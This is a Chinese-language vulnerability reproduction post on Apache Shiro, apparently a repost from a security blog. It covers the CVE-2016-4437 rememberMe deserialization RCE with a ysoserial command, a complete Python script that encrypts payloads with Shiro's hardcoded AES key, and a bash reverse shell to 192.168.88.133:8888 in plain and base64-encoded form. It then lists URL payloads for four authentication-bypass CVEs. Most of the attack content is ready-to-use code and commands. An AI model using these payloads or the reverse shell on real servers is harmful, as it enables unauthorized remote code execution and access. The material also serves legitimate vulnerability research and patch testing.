Apache Shiro漏洞复现

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

影响版本

Apache Shiro <= 1.2.4

原因分析

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而在Shiro 1.2.4之前AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞特征

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

漏洞复现

payload生成:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

因为该漏洞没有回显, 所以我们需要先确认漏洞是否存在。

项目地址
https://github.com/frohoff/ysoserial

java -jar ysoserial.jar CommonsBeanutils1 "ping io3mpq.dnslog.cn" > poc.ser

image-20210802223605902

生成Payload

image.png

poc.py的源码

import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme()    
    print("rememberMe={0}".format(payload.decode()))

将生成的payload放在Cookie里面,发包。

image.png

dnslog有回显,存在漏洞

image.png

接着反弹Shell

 bash -i >& /dev/tcp/192.168.88.133/8888 0>&1

经过http://www.jackson-t.ca/runtime-exec-payloads.html编码

image.png

bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC44OC4xMzMvODg4OCAwPiYxCg==}|{base64,-d}|{bash,-i}

image.png

生成payload,然后发包。

image.png

反弹回shell

image.png

参考文章

https://www.jianshu.com/p/a53e5b17d7a6

Shiro-721 RCE Via Padding Oracle Attack

https://github.com/inspiringz/Shiro-721

Apache Shiro 权限绕过(CVE-2020-1957)

漏洞原理

Spring Boot中使用Apache Shiro进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro和Spring Boot对URL的处理的差异化,可以绕过Apache Shiro对Spring Boot中的Servlet的权限控制,越权并实现未授权访问。

影响版本

Apache Shiro < 1.5.2

poc

/xxxxx/..;/admin

漏洞复现

xxxxx无需认证访问内容

img

admin访问就跳转到login登录

image-20210803115202752

/xxxxx/..;/admin越权访问admin内容成功

img

Apache Shiro 权限绕过(CVE-2020-11989)

影响版本

Apache Shiro < 1.5.3

POC

/hello/a%25%32%66a  -> /hello/a%2fa -> /hello/a/a
/;/test/hello/aaa

如果直接访问 /test/admin/page ,会返回302跳转要求登录,但是访问 /;/test/admin/page , 就能直接绕过Shiro权限验证,访问到/admin路由中的信息

image-20210803120310133

Apache Shiro 权限绕过(CVE-2020-13933)

影响版本

Apache Shiro < 1.6.0

POC

对于这个漏洞,PoC 亦是 EXP ,只需要把 %3b 放在请求资源路由的最前面,即可绕过认证实现资源访问。

例如: http://127.0.0.1:8080/res/%3b{资源名}res 属于站点根目录, 不属于资源路由的一部分)

当资源路由为后台路径时,攻击者即可绕过认证访问到后台资源。

/hello/%3baaaa  -> /hello/;aaaa

Apache Shiro 权限绕过(CVE-2020-17523)

Apache Shiro < 1.7.1

POC

http://127.0.0.1:8080/admin/%20   %20是空格
或者
http://127.0.0.1:8080/admin/%20/

http://127.0.0.1:8080/admin/%2e 
或 
http://127.0.0.1:8080/admin/%2e/

使用空格等空字符,可绕过shiro身份验证。

img

或者

image-20210803142016242

Shiro不出网

文章一:https://blog.csdn.net/qq_44159028/article/details/115293579

原文地址:https://www.cnblogs.com/HelloCTF/p/15748357.html